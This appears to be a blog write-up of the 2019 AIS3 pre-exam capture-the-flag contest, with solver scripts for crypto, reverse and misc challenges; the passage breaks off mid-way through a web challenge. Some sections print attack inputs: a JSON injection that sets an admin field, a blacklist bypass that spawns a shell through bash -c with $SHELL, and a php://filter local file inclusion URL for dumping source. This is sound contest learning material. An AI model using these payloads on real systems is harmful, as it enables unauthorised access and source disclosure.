2019 AIS3 Pre Exam - Writeup

Sat, Jul 27, 2019 17-minute read

題目:Random Guess, RSA101, RSA202, TCash, Are You Admin?, Crystal Maze, KcufsJ, Welcome, Welcome BOF, Holy Grenada, Trivial, TsaiBro, d1v1n6, Hidden, SimpleWindow

Crypto - Random Guess

Challenge Info

沒記錄到

Solution

題目大概長這樣:

1
2
3
4
Random number a,b,c :
Given the set of number Ni+1 = (a * Ni + b) % c
N = 382610523, 871508922, 429815693, 269882023, 764320304, 457647013, 823621974, 325323277, 251510795, 905375048
If you can guess the next 100 numbers to me (one by one), and I will give you the flag A___A+

解題腳本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
# -*- coding: UTF-8 -*-
#!/usr/bin/env python
import math
import functools
from fractions import gcd
from pwn import *


def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, x, y = egcd(b % a, a)
        return (g, y - (b // a) * x, x)


def modinv(b, n):
    g, x, _ = egcd(b, n)
    if g == 1:
        return x % n


def crack_unknown_increment(states, modulus, multiplier):
    increment = (states[1] - states[0]*multiplier) % modulus
    return multiplier, increment, modulus


def crack_unknown_multiplier(states, modulus):
    multiplier = (states[2] - states[1]) * modinv(states[1] - states[0], modulus) % modulus
    return crack_unknown_increment(states, modulus, multiplier)


def crack_unknown_modulus(states):
    diffs = [s1 - s0 for s0, s1 in zip(states, states[1:])]
    zeroes = [t2*t0 - t1*t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])]
    modulus = abs(reduce(gcd, zeroes))
    return crack_unknown_multiplier(states, modulus)


host = "pre-exam-chals.ais3.org"
port = 10200
sh = remote(host, port)
data = sh.readlines(3)
d = data[-1].split(', ')[1:]
for i in range(len(d)):
    d[i] = int(d[i])
print(d)

a, b, c = crack_unknown_modulus(d)
# [369756028, 443486561, 209630204, 400780967, 319354870, 434791958, 355323500, 596018126, 161603907]
print(a, b, c)
n = d[-1]
nextN = (a*n+b) % c
print(0, nextN)
sh.sendlineafter("A___A+\n", str(nextN))
for i in range(99):
    nextN = (a*nextN+b) % c
    print(i+1, nextN)
    sh.sendlineafter("Good!\n", str(nextN))
    # n = nextN
    # sh.interactive()
sh.interactive()

Flag

AIS3{GGEZ!!LiNe42_COngRuen7i4l_6eNErATor}


Crypto - RSA101

Challenge Info

110001001100001011000100111100100100000011100100111001101100001 nc pre-exam-chals.ais3.org 10201

Observation

題目那一串二進位字串轉十六進位再轉字串之後是baby rsa

題目的形式如下:

1
2
3
4
5
6
7
8
9
Public-key (e,N) : (424079,9768327349257485556943054084344176106711916610576835499752968007980609416223394090306535400265138539636926258659464998256478923536612982708726953821848901028351768954522575475962236637711037649062884081925585642564066204562327798344747232827307750978884750039893871457039113882424045608239883750886353806918167496806759910183045077534918508775192283077897992978173068926779635191430439813974938327634093777781285981064397617049324817602780525340478334673472653614366650927820478484283553227460572966055658628741391093858211961680395317030550447107205587223224277429183265015058336402174786606743007721125693837328327)
Encrypted Flag : 6498916130208542110171510158670981071096890450382717327181763083386652887050275800915366334810293100698589605347201426910277992051769372760930650560790200280713817833277900915211665096623483521889202251184809521615878533094847880974353284295454795481049807837859482061022350887596333236468520841094095433370316596598268499483365759944413171025478188325295595309720671542590961764131493870784934287977272269417934298106309289067323460563141006695972315638471466607777253627808541329136294048732963687708108336216763662712817499295573908157422088586273020010851630320923911790202258263087831260258675648677115455049488

PHI Oracle :
n = ?
1
(n % phi) % 64 = 1
n = ?
...

會給我們public keyEncrypted Flag,每次都不一樣,接下來可以不斷輸入n,會回傳(n % phi) % 64的結果

目標很明確,要讓我們找出phi然後解碼Encrypted Flag

有嘗試過去 factordb 找答案,或是用 yafu 暴力解,因為 N 有點長,短時間解不出來就放棄這樣做了。

Step 1

觀察 (n % phi) % 64,可以發現 phi 遠大於 64,因此假設 n64 的倍數:

CASE1: 如果 n 小於 phi,顯然地 (n % phi) % 64 = 0

CASE2: 如果 nphi 大一些,此時 (n % phi) != 0,所以 (n % phi) % 64 != 0

因此可以不斷遞增64的倍數,直到回傳值不為0,藉此找到 phi 的上界。

1
2
3
4
5
6
7
8
# Step1
t = pow(10, 600)  # 已知phi至少有600位,因此從pow(10, 600)開始逼近
ret = 0  # 回傳值
while ret == 0:
	t *= 10 # 每次乘10逼近上界
	sh.sendafter("n = ?", str(t*64))
	ret = int(sh.recvlines(2)[-1].split(' ')[6])
print("Step1 Complete!")

Step 2

我以每次乘10的方式逼近上界(也就是n = 64, 640, 6400, ...

因此若上界為64 * b,我取下界a = 64*b/10,有上下界就可以用Binary Search快速逼近phi

舉例來說,如果測量到的上界為6400 = 64 * 100,下界可以設為640 = 64 * 10,Binary Search時就取64 * ((100+10)/2) = 64 * 55 = 3520,如果回傳值為0,更新下界,否則更新上界。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
# Step2
a = int(t)/10  # 下界
b = int(t)  # 上界
while b-a != 1:
	c = (a+b)//2  # 中點
	sh.sendafter("n = ?", str(c*64))
	ret = int(sh.recvlines(2)[-1].split(' ')[6])  # 回傳值
	if ret == 0:
		a = c  # 回傳值為0 -> 比phi小 -> 更新下界
	else:
		b = c  # 回傳值不為0 -> 比phi大 -> 更新上界
print("Step2 Complete!")

Step 3

Binary Search 之後還沒得到答案,因為真正的phi64*a+1 ~ 64*b其中一個。

索性把所有數字都當作phi計算出對應的Plaintext然後存起來,因為我轉十六進位再轉字串的方法會報錯(可能是長度不符吧,懶得處理,決定再跑一次Step1 ~ Step2,將兩個Plaintext的集合取交集之後就可以得到真正的Plaintext

最後把它轉十六進位再轉字串就能得到flag

程式碼如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
# -*- coding: UTF-8 -*-
#!/usr/bin/env python
import math
from pwn import *
import re
import binascii


def egcd(a, b):  # 擴展歐幾里得演算法
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)


def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        raise Exception('modular inverse does not exist')
    else:
        return x % m


def main():
    ans1 = rsa()
    ans2 = rsa()
    ans3 = set(ans1) & set(ans2)
    print("Finish!")
    for a in ans3:
        print(binascii.unhexlify(hex(a)[2:]).decode('utf-8'))


def rsa():
    # Initialization
    host = "pre-exam-chals.ais3.org"
    port = 10201

    sh = remote(host, port)
    r = sh.recvuntil("PHI Oracle").split('\n')

    e = int(r[0].split(':')[1].split(',')[0].split('(')[1])
    n = int(r[0].split(':')[1].split(',')[1].split(')')[0])
    cipher = int(r[1].split(' ')[-1])
    print("Initialization Complete!")

    # Step1
    t = pow(10, 600)  # 已知phi至少有600位,因此從pow(10, 600)開始逼近
    ret = 0  # 回傳值
    while ret == 0:
        t *= 10  # 每次乘10逼近上界
        sh.sendafter("n = ?", str(t*64))
        ret = int(sh.recvlines(2)[-1].split(' ')[6])
    print("Step1 Complete!")

    # Step2
    a = int(t)/10  # 下界
    b = int(t)  # 上界
    while b-a != 1:
        c = (a+b)//2  # 中點
        sh.sendafter("n = ?", str(c*64))
        ret = int(sh.recvlines(2)[-1].split(' ')[6])  # 回傳值
        if ret == 0:
            a = c  # 回傳值為0 -> 比phi小 -> 更新下界
        else:
            b = c  # 回傳值不為0 -> 比phi大 -> 更新上界
    print("Step2 Complete!")

    # Step3
    ans = []
    for i in range(64):
        phi = a*64+(i+1)
        d = modinv(e, phi)
        plain = pow(cipher, d, n)
        ans.append(plain)
    print("Step3 Complete!")
    sh.close()
    return ans


if __name__ == "__main__":
    main()

Flag

AIS3{RSA_L0L_01100110011101010110001101101011}

可以試著將flag中的二進位轉成字串看看www


Crypto - RSA202

Challenge Info

沒備份到

Solution

題目大概長這樣:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
Preparing your challenge ...
Ok!
e : 818951293
n1 : r * next_prime(r)
3319807826271771260791522140712557919872200771602527593321989461578898751543543609587312777725321369840399209569462462165534920505893592659672068701281163631996087556482216224798157
n2 : p * q
143461000392339821257378024413632040750808042905311602572230653237268170014144712526157565401029500746719017485407941779438703819422600328319208639338642021501141094888014686184118324360416202065027660719887205106498261682134151182132675271484165723961177763237646005123151548195461047889177771809988841587335942370194285231153538214039962119974206944267704621316350653329856693616569724522185547097083388778267286607422115618322982733668355103432955804279687883515078319564434122374914628100527383399835303029568352634064692191190451518963371735382016932602635399813124181189118044192998912596362576421524452659812236199985996558639821895422929606048614177122327730989174953306744534452873228515818782774882980258114692999
enc : pow(FLAG1, e, n1)
2559703675711675047641071897946512575045532380328023256372842294655693780455749555749828609243490139742616717743329848750299479365470208614651966957866230875068231128624272844531117
enc : pow(FLAG2, e, n2)
2493630939697299197277919265812017114442127807917541085789008502858549778741149238882882873294039622636750805078758876031386334550302422994742013690549188247343771941207014405570023313757918550493865350757675812056152640413198399204316508784595519459868685957390482138312680115492263218084478856750181747506773067911216985383201376089512563030858185619338551712528055000025968318485733959855422249170106971243201078523082783604162404432833084755410475743620241657139662498766657007564056856359190711293603696357850003788930143354000283270316248287104924396730347396340829280661931487032693728105946773984015003336829031894620838750813430040931702859318556833078572448281175545641120091731415356777873759790622589555109378

p,q,r are prime numbers.

((p-1) % r)**2 + ((r**5 - 1) % p)**2 == 0

Good luck !!%

已知數有:e, n1, n2, enc1, enc2


首先觀察它們的長度:

  1. e挺正常的長度
  2. n1約為180位數
  3. n2約為720位數

n1的長度有點短,因此用yafu做質因數分解,成功分解得到r, next_prime(r)

1
2
r = 1822033980548049839468735790034731089408207187998249893982762819316163642808029381911635869
next_prime(r) = 1822033980548049839468735790034731089408207187998249893982762819316163642808029381911635953

{< admonition warning >} Latex 渲染問題我有空再解決 {< /admonition >}

再來處理n2,看到大位數首先丟到factorDB中,抽中就結束了。

看來並沒有那麼好的事情,只好面對題目給的關係式($%$為模運算):

$$ ((p-1)%r)^2+((r^5-1)%p)^2=0 $$

首先因為餘數必定大於等於0,所以有:

$$ (p-1)\equiv0\pmod{r} $$ $$ (r^5-1)\equiv0\pmod{p} $$

1$^o$ 考慮式1: 可以知道$\ p>r$

2$^o$ 考慮式2: $$ (r-1)(r^4+r^3+r^2+r^1+1)=(r^5-1)\equiv0\pmod{p} $$ $$ \Rightarrow(r-1)\equiv0\pmod{p}\lor(r^4+r^3+r^2+r^1+1)\equiv0\pmod{p} $$

根據1$^o$,$(r-1)\equiv0\pmod{p}\ $不成立,因此$(r^4+r^3+r^2+r^1+1)\equiv0\pmod{p}\ $必然成立

不妨假設$\ (r^4+r^3+r^2+r^1+1)={k}\times{p}$

計算$R=r^4+r^3+r^2+r^1+1$,為一個362位數。把它拿去做質因數分解,發現是個質數。

也就是說$\ k=1\ $且$\ p=R\ $。

得到$\ p\ $,所以$\ q=n_2/p\ $,需要的數字都得到了。


接下來是開心的RSA解碼時間:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
def egcd(a, b):  # 擴展歐幾里得演算法
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)


def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        raise Exception('modular inverse does not exist')
    else:
        return x % m

phi = (p-1)*(q-1)
d = modinv(e, phi)
plain = pow(enc, d, n)
print(binascii.unhexlify(hex(plain)[2:]).decode('utf-8'))

enc1, enc2解碼之後合併就得到flag了

Flag

AIS3{S0me7im3s_I_h4tE_factorDB}

把兩百多組n2丟到factordb都沒中QQ


Crypto - TCash

Challenge Info

T? Cat? Hash?

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
from hashlib import md5,sha256
from secret import FLAG
cand = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890@,- _{}'

md5s = []
sha256s = []
for f in FLAG :
    assert f in cand 
    md5s.append( int(md5(f.encode()).hexdigest(),16)%64 )
    sha256s.append( int(sha256(f.encode()).hexdigest(),16)%64 )

# md5s = [41, 63, 46, 51, 6, 26, 42, 50, 44, 33, 29, 50, 27, 28, 30, 17, 31, 19, 46, 50, 33, 45, 26, 26, 29, 31, 52, 33, 1, 45, 31, 22, 50, 50, 50, 50, 50, 31, 22, 50, 44, 26, 44, 49, 50, 49, 26, 45, 31, 30, 22, 44, 30, 31, 17, 50, 50, 50, 31, 43, 52, 50, 53, 31, 30, 17, 26, 31, 46, 41, 44, 26, 31, 52, 50, 30, 31, 26, 39, 31, 46, 33, 27, 1, 42, 50, 31, 30, 12, 26, 27, 52, 31, 30, 12, 31, 46, 26, 27, 14, 50, 31, 22, 52, 33, 31, 41, 50, 46, 31, 22, 23, 41, 31, 53, 26, 21, 31, 33, 30, 31, 19, 39, 51, 33, 30, 39, 51, 12, 58, 60, 31, 41, 33, 53, 31, 3, 17, 50, 31, 51, 26, 29, 52, 31, 33, 22, 26, 31, 41, 51, 54, 41, 29, 52, 31, 19, 23, 33, 30, 44, 26, 27, 38, 8, 50, 29, 15]
# sha256s = [61, 44, 3, 14, 22, 41, 43, 30, 49, 59, 58, 30, 11, 3, 24, 35, 40, 46, 3, 42, 59, 36, 41, 41, 41, 40, 9, 59, 23, 36, 40, 33, 42, 42, 42, 42, 42, 40, 44, 42, 49, 24, 49, 28, 42, 33, 24, 36, 40, 24, 33, 10, 24, 40, 35, 42, 42, 42, 40, 39, 9, 42, 3, 40, 24, 35, 24, 40, 3, 61, 49, 24, 40, 9, 42, 24, 40, 41, 17, 40, 12, 57, 11, 23, 43, 42, 40, 24, 18, 41, 11, 9, 40, 24, 18, 40, 3, 41, 11, 12, 42, 40, 44, 9, 59, 40, 61, 42, 3, 40, 44, 13, 61, 40, 3, 24, 29, 40, 59, 24, 40, 19, 18, 6, 59, 24, 18, 6, 22, 0, 39, 40, 61, 57, 3, 40, 17, 35, 42, 40, 58, 24, 58, 9, 40, 59, 44, 24, 40, 61, 48, 52, 61, 58, 9, 40, 19, 13, 59, 24, 53, 41, 11, 55, 55, 42, 58, 18]

Solution

暴力破解就能逆推回flag

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
from hashlib import md5, sha256
cand = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPWRSTUVWXYZ1234567890@,- _{}'

md5s = [41, 63, 46, 51, 6, 26, 42, 50, 44, 33, 29, 50, 27, 28, 30, 17, 31, 19, 46, 50, 33, 45, 26, 26, 29, 31, 52, 33, 1, 45, 31, 22, 50, 50, 50, 50, 50, 31, 22, 50, 44, 26, 44, 49, 50, 49, 26, 45, 31, 30, 22, 44, 30, 31, 17, 50, 50, 50, 31, 43, 52, 50, 53, 31, 30, 17, 26, 31, 46, 41, 44, 26, 31, 52, 50, 30, 31, 26, 39, 31, 46, 33, 27,
        1, 42, 50, 31, 30, 12, 26, 27, 52, 31, 30, 12, 31, 46, 26, 27, 14, 50, 31, 22, 52, 33, 31, 41, 50, 46, 31, 22, 23, 41, 31, 53, 26, 21, 31, 33, 30, 31, 19, 39, 51, 33, 30, 39, 51, 12, 58, 60, 31, 41, 33, 53, 31, 3, 17, 50, 31, 51, 26, 29, 52, 31, 33, 22, 26, 31, 41, 51, 54, 41, 29, 52, 31, 19, 23, 33, 30, 44, 26, 27, 38, 8, 50, 29, 15]
sha256s = [61, 44, 3, 14, 22, 41, 43, 30, 49, 59, 58, 30, 11, 3, 24, 35, 40, 46, 3, 42, 59, 36, 41, 41, 41, 40, 9, 59, 23, 36, 40, 33, 42, 42, 42, 42, 42, 40, 44, 42, 49, 24, 49, 28, 42, 33, 24, 36, 40, 24, 33, 10, 24, 40, 35, 42, 42, 42, 40, 39, 9, 42, 3, 40, 24, 35, 24, 40, 3, 61, 49, 24, 40, 9, 42, 24, 40, 41, 17, 40, 12, 57,
           11, 23, 43, 42, 40, 24, 18, 41, 11, 9, 40, 24, 18, 40, 3, 41, 11, 12, 42, 40, 44, 9, 59, 40, 61, 42, 3, 40, 44, 13, 61, 40, 3, 24, 29, 40, 59, 24, 40, 19, 18, 6, 59, 24, 18, 6, 22, 0, 39, 40, 61, 57, 3, 40, 17, 35, 42, 40, 58, 24, 58, 9, 40, 59, 44, 24, 40, 61, 48, 52, 61, 58, 9, 40, 19, 13, 59, 24, 53, 41, 11, 55, 55, 42, 58, 18]
ans = []
for i in range(len(md5s)):
    for c in cand:
        tm = int(md5(c.encode()).hexdigest(), 16) % 64
        ts = int(sha256(c.encode()).hexdigest(), 16) % 64
        if tm == md5s[i] and ts == sha256s[i]:
            print(c, end='')
            break

Flag

AIS3{0N_May_16th @Sead00g said Heeeee ReMEMBerEd tH4t heee UseD thE SAME set 0f On1iNe to01s to S01Ve Rsa AeS RCA DE5 at T-cat-cup, AnD 7he kEys aRE AlWAys TCat2019Key}


Misc - Are You Admin?

Challenge Info

nc pre-exam-chals.ais3.org 10203

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/ruby
require 'json'

STDOUT.sync = true

puts "Your name:"
name = STDIN.gets.chomp
puts "Your age:"
age = STDIN.gets.chomp

if age.match(/[[:alpha:]]/)
    puts "No!No!No!"
    exit
end


string = "{\"name\":\"#{name}\",\"is_admin\":\"no\", \"age\":\"#{age}\"}"
res = JSON.parse(string)
puts res

if res['is_admin'] == "yes"
    puts "AIS3{xxxxxxxxxxxx}"  # flag is here
else
    puts "Hello, " + res['name']
    puts "You are not admin :("
end

Solution

觀察

1
2
string = "{\"name\":\"#{name}\",\"is_admin\":\"no\", \"age\":\"#{age}\"}"
res = JSON.parse(string)

1
2
if res['is_admin'] == "yes"
    puts "AIS3{xxxxxxxxxxxx}"  # flag is here

兩部分可以知道要讓想辦法讓res["is_admin"]變成"yes"


有點sql injection的感覺(?

name輸入YABASU", "is_admin":"yes", "A": { "B":"C

age輸入1", "2": "3"}, "4": "5

這樣string就會變成

1
{"name":"YABASU", "is_admin":"yes", "A": { "B":"C","is_admin":"no", "age":"1", "2": "3"}, "4": "5"}

轉成JSON格式之後:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
ressss = {
  "4": "5",
  "name": "YABASU",
  "is_admin": "yes",
  "A": {
    "2": "3",
    "B": "C",
    "is_admin": "no",
    "age": "1"
  }
}

目標達成,得到flag

如果不使用{,}"is_admin": "no"處理掉,它會覆蓋前面的"is_admin": "yes"

Flag

AIS3{RuBy_js0n_i5_s0_w3ird_0_o}


Misc - Crystal Maze

Challenge Info

nc pre-exam-chals.ais3.org 10202

Solution

是個走迷宮小遊戲,連線之後會看到以下訊息:

1
2
3
Bonjour. You're in a 16x16 crystal maze.
To take a step, enter "up", "down", "left", or "right".
move: 

輸入想要前進的方向,如果撞到牆壁會回傳wall,否則是ok,重複輸入直到找到終點。

另外這題有時間限制,大概2~3秒左右就會自動斷線。

使用pwntools幫忙輸入,再用DFS遍歷迷宮,成功找到flag,程式碼如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
# -*- coding: UTF-8 -*-
#!/usr/bin/env python
from pwn import *

host = "pre-exam-chals.ais3.org"
port = 10202
p = []
direct = ["up", "down", "left", "right"]


def main():
    dfs(3, 0)  # 已經知道第一步只能向右走


def dfs(dir=0, depth=0):
    global p
    if len(p) > 0:
        p = p[0:depth]

        # 不能往回走
        if p[-1] == "up" and direct[dir] == "down":
            return
        elif p[-1] == "down" and direct[dir] == "up":
            return
        elif p[-1] == "left" and direct[dir] == "right":
            return
        elif p[-1] == "right" and direct[dir] == "left":
            return

    # 建立連線
    sh = remote(host, port)

    # 走過已經知道的路
    if len(p) > 0:
        for pa in p:
            sh.sendlineafter("move: ", pa)

    # 再走一步
    sh.sendlineafter("move: ", direct[dir])
    ret = sh.readline()

    if ret == "ok\n":  # 有路!
        p.append(direct[dir])  # 紀錄到路徑中
        # print(p)
        for i in range(4):  # 四個方向都走走看
            dfs(i, depth+1)
    elif ret == "wall\n":  # 撞到牆
        return
    else:  # 都不是 -> 找到flag了
        print("FLAG", ret)
        sh.interactive()
        return
    sh.close()


if __name__ == "__main__":
    main()

{< admonition note >} 為求方便,上方程式碼沒有處理迴圈情況。 若要更完備,需要為走過的座標(採用二維陣列紀錄相對座標)塗顏色(白、灰跟黑),走到灰色點即表示找到back edge也就是出現迴圈。 {< / admonition >}

Flag

AIS3{4R3_Y0U_RUNN1NG_45_F45T_45_CRY5T4L?}


Misc - KcufsJ

Challenge Info

Javascript ?!

Solution

給了明顯是JSFuck的字串,根據題目提示,把字串反轉。

反轉後拿去瀏覽器alert()即可得到flag

Flag

AIS3{R33v33rs33_JSFUCKKKKKK}


Misc - Pysh

Challenge Info

nc pre-exam-chals.ais3.org 10204

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
# main.py
#!/usr/bin/python
import os
import sys

black_list = "bcfghijkmnoqstuvwxz!@#|[]{}\"'&*()?01234569"

your_input = raw_input(":")

for i in range(len(black_list)):
    if black_list[i] in your_input:
        print "Bad hacker...."
        exit()

print os.system("bash -c '" + your_input + "'")

Solution

首先到自己的機器上找有哪些指令可以用ls /usr/bin/ | grep -v "[bcfghijkmnoqstuvwxz01234569]"

[
aplay
ar
GET
HEAD
ld
ldapadd
ldd
lp
lpr
paplay
pear
perl
player
player.py
pldd
POST
pr
X
yelp

本來以為可以用 perl 取得 shell,總之是失敗了。


其實打$SHELL就可以了…

因為$SHELL會存shell的路徑,可能是/bin/bash之類的,所以bash -c '$SHELL'就是bash -c '/bin/bash',直接得到shell。

之後ls發現有個檔案flag-a008b609dd552dca425779a8e1882485

cat flag-a008b609dd552dca425779a8e1882485就能得到flag

Flag

AIS3{read;$REPLY}


Misc - Welcome

Challenge Info

AIS3{echo -n ‘Welcom to AIS3 pre-exam in 2019!’ | md5sum}

Ps. md5 hash only

Solution

執行echo -n 'Welcom to AIS3 pre-exam in 2019!' | md5sum得到988069d2c08c1910f422737ca412afe2

Flag

AIS3{988069d2c08c1910f422737ca412afe2}


Pwn - Welcome BOF

Challenge Info

沒記錄到

Solution

好像是最基本的 BOF,要記得對齊

Flag

AIS3{TOO0O0O0O0OO0O0OOo0o0o0o00_EASY}


Reverse - HolyGrenade

Challenge Info

HolyGrenade

// output.txt
ba3a7f3bd92a5d418f5e16886db62674
33e4500b205b80e52dd52e796cba8b7d
7d1c09bbf2025facf6bd0fec0ec6a780
9cedd8dee7b5b87838d7a9bed76df8e5
764d30cb4807c5a870a47b53be6cf662
f1e8fda6c3ff87e43905ea1690624c64
d7939cb11edaa9b1fb05efb4e2946f75
5ae001ebd955475c867617bdb72e7728

Solution

把題目提供的HolyGrenade.pyc拿去decompile,得到:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# Python bytecode 3.7 (3394)
# Embedded file name: HolyGrenade.py
# Size of source mod 2**32: 829 bytes
# Decompiled by https://python-decompiler.com
from secret import flag
from hashlib import md5

def OO0o(arg):
    arg = bytearray(arg, 'ascii')
    for Oo0Ooo in range(0, len(arg), 4):
        O0O0OO0O0O0 = arg[Oo0Ooo]
        iiiii = arg[(Oo0Ooo + 1)]
        ooo0OO = arg[(Oo0Ooo + 2)]
        II1 = arg[(Oo0Ooo + 3)]
        arg[Oo0Ooo + 2] = II1
        arg[Oo0Ooo + 1] = O0O0OO0O0O0
        arg[Oo0Ooo + 3] = iiiii
        arg[Oo0Ooo] = ooo0OO

    return arg.decode('ascii')


flag += '0' * (len(flag) % 4)
for Oo0Ooo in range(0, len(flag), 4):
    print(OO0o(md5(bytes(flag[Oo0Ooo:Oo0Ooo + 4])).hexdigest()))

簡單來說它會把flag編碼成output.txt那樣,每一列都是由四個字元組成的,像ouptut.txt的第一列代表AIS3

決定直接爆破:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from hashlib import md5
key = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXY0123456789{}_"
output = ["ba3a7f3bd92a5d418f5e16886db62674",
          "33e4500b205b80e52dd52e796cba8b7d",
          "7d1c09bbf2025facf6bd0fec0ec6a780",
          "9cedd8dee7b5b87838d7a9bed76df8e5",
          "764d30cb4807c5a870a47b53be6cf662",
          "f1e8fda6c3ff87e43905ea1690624c64",
          "d7939cb11edaa9b1fb05efb4e2946f75",
          "5ae001ebd955475c867617bdb72e7728"]
flag = ''


def decodeFunction(arg):
    arg = bytearray(arg, 'ascii')
    for f in range(0, len(arg), 4):
        a = arg[f]
        b = arg[(f + 1)]
        c = arg[(f + 2)]
        d = arg[(f + 3)]
        arg[f + 2] = d
        arg[f + 1] = a
        arg[f + 3] = b
        arg[f] = c

    return arg.decode('ascii')


nextOutput = False
for o in output:
    nextOutput = False
    for a in key:
        for b in key:
            for c in key:
                for d in key:
                    tmp = a + b + c + d
                    tmp += '0' * (len(tmp) % 4)
                    for f in range(0, len(tmp), 4):
                        tmpOutput = decodeFunction(md5(bytes(tmp[f:f + 4])).hexdigest())
                        if tmpOutput == o:
                            nextOutput = True
                            flag += tmp
                    if nextOutput:
                        break
                if nextOutput:
                    break
            if nextOutput:
                break
        if nextOutput:
            break
print(flag)

吃個飯回來就得到flag了

Flag

AIS3{7here_15_the_k1ll3r_ra661t}


Reverse - Trivial

Challenge Info

It’s trivial, but the speed would affect your ranking

Solution

strings Trivial | grep "AIS3"發現有東西。

strings Trivial找到許多明顯是flag的東西:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
AIS3
IS3{
S3{T
3{Th
{Thi
This
his_
is_i
s_is
_is_
is_a
s_a_
_a_r
a_re
_rea
real
eall
alll
llll
llll
llll
llll
llll
llll
llll
llll
llly
lly_
ly_b
y_bo
_boa
boar
oari
arii
riii
iiin
iing
ing_
ng_c
g_ch
_cha
chal
hall
alle
llen
leng
enge
nge}

湊一湊就有flag了

Flag

AIS3{This_is_a_reallllllllllly_boariiing_challenge}


Reverse - TsaiBro

Challenge Info

觀…自在…菩薩…行…深…般若… 波羅…密…多…時…照見…五蘊皆空.

1
2
3
// flag.txt
Terry...逆逆...沒有...學問...單純...分享...個人...生活...感觸...
發財....發財...發財.....發財...發財......發財.....發財.......發財.......發財........發財......發財....發財.發財.......發財....發財...發財.....發財........發財........發財.......發財........發財...發財..發財.發財.....發財........發財........發財.發財.發財........發財........發財.發財..發財.......發財.....發財.發財.......發財........發財........發財.發財......發財.......發財........發財..發財......發財........發財........發財.......發財....發財.發財......發財........發財........發財...發財....發財...發財...發財.發財.發財..發財.發財.發財..發財...發財..發財..發財.......發財........發財........發財..發財......發財.......發財....發財...發財.......發財........發財.......

Solution

strings TsaiBro能發現一組字串abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXY0123456789{}_先存下來

執行後發現要加參數,稍微試一下不難發現規律:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
a -> 發財.發財.
b -> 發財.發財..
c -> 發財.發財...
d -> 發財.發財....
e -> 發財.發財.....
f -> 發財.發財......
g -> 發財.發財.......
h -> 發財.發財........
i -> 發財..發財.
j -> 發財..發財..
...

flag.txt拿來解碼就能得到flag

Flag

AIS3{y0u_4re_a_b1g_f4n_0f_tsaibro_n0w}

並沒有


Web - d1v1n6

Challenge Info

GOGOGO

http://pre-exam-web.ais3.org:10103

Solution

有個hint連結http://pre-exam-web.ais3.org:10103/?path=hint.txt,裡面只有發財兩個字

應該是LFI漏洞,使用PHP偽協議把index.phpdump出來:

1
http://pre-exam-web.ais3.org:10103/index.php?path=php://filter/convert.base64-encode/resource=index.php

得到一個base64 encode過的字串:

1
